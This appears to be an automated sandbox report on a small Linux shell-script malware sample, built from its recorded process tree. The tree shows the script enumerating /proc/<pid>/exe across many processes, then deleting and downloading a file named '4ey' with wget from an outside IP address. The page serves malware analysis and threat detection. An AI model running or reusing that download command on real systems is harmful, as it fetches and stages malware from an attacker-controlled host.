Overview

overview

3

Static

static

1

_35e66da42...aec.sh

ubuntu-18.04-amd64

3

_35e66da42...aec.sh

debian-9-armhf

3

_35e66da42...aec.sh

debian-9-mips

3

_35e66da42...aec.sh

debian-9-mipsel

3

Analysis

  • max time kernel
    143s
  • max time network
    146s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20260513-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    21/06/2026, 08:51

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    _35e66da427a1ad60fd9de1d0efc5ae98275cea581d21e2aebca59491b936caec.sh
  • Size 839B
  • Sample260621-kshpgsdt3x
  • SHA256 35e66da427a1ad60fd9de1d0efc5ae98275cea581d21e2aebca59491b936caec
  • MD5 SHA1 SHA512 TLSH
Score
3/10
discovery

Malware Config

Signatures

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery

Processes

  • /tmp/_35e66da427a1ad60fd9de1d0efc5ae98275cea581d21e2aebca59491b936caec.sh
    /tmp/_35e66da427a1ad60fd9de1d0efc5ae98275cea581d21e2aebca59491b936caec.sh
    1⤵
      PID:724
      • /bin/ls
        ls -l /proc/1/exe
        2⤵
        • Reads runtime system information
        PID:727
      • /bin/ls
        ls -l /proc/10/exe
        2⤵
        • Reads runtime system information
        PID:734
      • /bin/ls
        ls -l /proc/11/exe
        2⤵
        • Reads runtime system information
        PID:738
      • /bin/ls
        ls -l /proc/110/exe
        2⤵
        • Reads runtime system information
        PID:741
      • /bin/ls
        ls -l /proc/12/exe
        2⤵
        • Reads runtime system information
        PID:745
      • /bin/ls
        ls -l /proc/126/exe
        2⤵
        • Reads runtime system information
        PID:748
      • /bin/ls
        ls -l /proc/127/exe
        2⤵
        • Reads runtime system information
        PID:750
      • /bin/ls
        ls -l /proc/13/exe
        2⤵
        • Reads runtime system information
        PID:751
      • /bin/ls
        ls -l /proc/14/exe
        2⤵
        • Reads runtime system information
        PID:753
      • /bin/ls
        ls -l /proc/15/exe
        2⤵
        • Reads runtime system information
        PID:755
      • /bin/ls
        ls -l /proc/154/exe
        2⤵
        • Reads runtime system information
        PID:756
      • /bin/ls
        ls -l /proc/16/exe
        2⤵
        • Reads runtime system information
        PID:758
      • /bin/ls
        ls -l /proc/161/exe
        2⤵
        • Reads runtime system information
        PID:760
      • /bin/ls
        ls -l /proc/17/exe
        2⤵
        • Reads runtime system information
        PID:762
      • /bin/ls
        ls -l /proc/176/exe
        2⤵
        • Reads runtime system information
        PID:764
      • /bin/ls
        ls -l /proc/18/exe
        2⤵
        • Reads runtime system information
        PID:765
      • /bin/ls
        ls -l /proc/19/exe
        2⤵
        • Reads runtime system information
        PID:766
      • /bin/ls
        ls -l /proc/2/exe
        2⤵
        • Reads runtime system information
        PID:767
      • /bin/ls
        ls -l /proc/20/exe
        2⤵
        • Reads runtime system information
        PID:769
      • /bin/ls
        ls -l /proc/21/exe
        2⤵
        • Reads runtime system information
        PID:770
      • /bin/ls
        ls -l /proc/22/exe
        2⤵
        • Reads runtime system information
        PID:771
      • /bin/ls
        ls -l /proc/23/exe
        2⤵
        • Reads runtime system information
        PID:772
      • /bin/ls
        ls -l /proc/24/exe
        2⤵
        • Reads runtime system information
        PID:773
      • /bin/ls
        ls -l /proc/244/exe
        2⤵
        • Reads runtime system information
        PID:774
      • /bin/ls
        ls -l /proc/257/exe
        2⤵
        • Reads runtime system information
        PID:775
      • /bin/ls
        ls -l /proc/3/exe
        2⤵
        • Reads runtime system information
        PID:776
      • /bin/ls
        ls -l /proc/340/exe
        2⤵
        • Reads runtime system information
        PID:777
      • /bin/ls
        ls -l /proc/343/exe
        2⤵
        • Reads runtime system information
        PID:778
      • /bin/ls
        ls -l /proc/345/exe
        2⤵
        • Reads runtime system information
        PID:779
      • /bin/ls
        ls -l /proc/347/exe
        2⤵
        • Reads runtime system information
        PID:780
      • /bin/ls
        ls -l /proc/348/exe
        2⤵
        • Reads runtime system information
        PID:781
      • /bin/ls
        ls -l /proc/36/exe
        2⤵
        • Reads runtime system information
        PID:782
      • /bin/ls
        ls -l /proc/37/exe
        2⤵
        • Reads runtime system information
        PID:783
      • /bin/ls
        ls -l /proc/393/exe
        2⤵
        • Reads runtime system information
        PID:784
      • /bin/ls
        ls -l /proc/394/exe
        2⤵
          PID:785
        • /bin/ls
          ls -l /proc/399/exe
          2⤵
          • Reads runtime system information
          PID:786
        • /bin/ls
          ls -l /proc/4/exe
          2⤵
            PID:787
          • /bin/ls
            ls -l /proc/445/exe
            2⤵
            • Reads runtime system information
            PID:788
          • /bin/ls
            ls -l /proc/5/exe
            2⤵
            • Reads runtime system information
            PID:789
          • /bin/ls
            ls -l /proc/6/exe
            2⤵
            • Reads runtime system information
            PID:790
          • /bin/ls
            ls -l /proc/672/exe
            2⤵
            • Reads runtime system information
            PID:791
          • /bin/ls
            ls -l /proc/688/exe
            2⤵
            • Reads runtime system information
            PID:792
          • /bin/ls
            ls -l /proc/69/exe
            2⤵
            • Reads runtime system information
            PID:793
          • /bin/ls
            ls -l /proc/691/exe
            2⤵
            • Reads runtime system information
            PID:794
          • /bin/ls
            ls -l /proc/697/exe
            2⤵
            • Reads runtime system information
            PID:795
          • /bin/ls
            ls -l /proc/698/exe
            2⤵
            • Reads runtime system information
            PID:796
          • /bin/ls
            ls -l /proc/7/exe
            2⤵
            • Reads runtime system information
            PID:797
          • /bin/ls
            ls -l /proc/70/exe
            2⤵
            • Reads runtime system information
            PID:798
          • /bin/ls
            ls -l /proc/71/exe
            2⤵
            • Reads runtime system information
            PID:799
          • /bin/ls
            ls -l /proc/714/exe
            2⤵
            • Reads runtime system information
            PID:800
          • /bin/ls
            ls -l /proc/715/exe
            2⤵
            • Reads runtime system information
            PID:801
          • /bin/ls
            ls -l /proc/719/exe
            2⤵
            • Reads runtime system information
            PID:802
          • /bin/ls
            ls -l /proc/721/exe
            2⤵
            • Reads runtime system information
            PID:803
          • /bin/ls
            ls -l /proc/723/exe
            2⤵
            • Reads runtime system information
            PID:804
          • /bin/ls
            ls -l /proc/724/exe
            2⤵
            • Reads runtime system information
            PID:805
          • /bin/ls
            ls -l /proc/726/exe
            2⤵
            • Reads runtime system information
            PID:806
          • /bin/ls
            ls -l /proc/73/exe
            2⤵
            • Reads runtime system information
            PID:807
          • /bin/ls
            ls -l /proc/74/exe
            2⤵
            • Reads runtime system information
            PID:808
          • /bin/ls
            ls -l /proc/75/exe
            2⤵
            • Reads runtime system information
            PID:809
          • /bin/ls
            ls -l /proc/76/exe
            2⤵
            • Reads runtime system information
            PID:811
          • /bin/ls
            ls -l /proc/77/exe
            2⤵
            • Reads runtime system information
            PID:813
          • /bin/ls
            ls -l /proc/79/exe
            2⤵
            • Reads runtime system information
            PID:814
          • /bin/ls
            ls -l /proc/8/exe
            2⤵
            • Reads runtime system information
            PID:817
          • /bin/ls
            ls -l /proc/80/exe
            2⤵
            • Reads runtime system information
            PID:818
          • /bin/ls
            ls -l /proc/82/exe
            2⤵
            • Reads runtime system information
            PID:820
          • /bin/ls
            ls -l /proc/9/exe
            2⤵
            • Reads runtime system information
            PID:822
          • /bin/rm
            rm -rf 4ey
            2⤵
              PID:825
            • /usr/bin/wget
              wget http://129.121.114.124/4ey
              2⤵
                PID:826

            Network

                  MITRE ATT&CK Matrix

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads